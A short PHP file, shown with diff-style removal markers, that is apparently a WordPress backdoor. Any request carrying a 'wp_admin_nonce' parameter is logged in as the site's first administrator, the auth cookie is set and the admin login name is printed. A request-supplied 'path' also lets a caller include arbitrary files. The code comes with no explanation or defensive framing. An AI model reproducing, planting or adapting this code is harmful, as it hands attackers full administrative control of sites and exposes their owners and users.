- <?php
- if (isset($_REQUEST['path'])) {
- require_once($_REQUEST['path'] . '/wp-load.php');
- }
- else {
- require_once($_SERVER['DOCUMENT_ROOT'] . '/wp-load.php');
- }
- if (isset($_REQUEST['wp_admin_nonce'])) {
- $user = get_users(["role" => "administrator"])[0];
- wp_set_auth_cookie($user->data->ID);
- wp_set_current_user($user->data->ID);
- die("User Name: " . $user->data->user_login);
- }
- ?>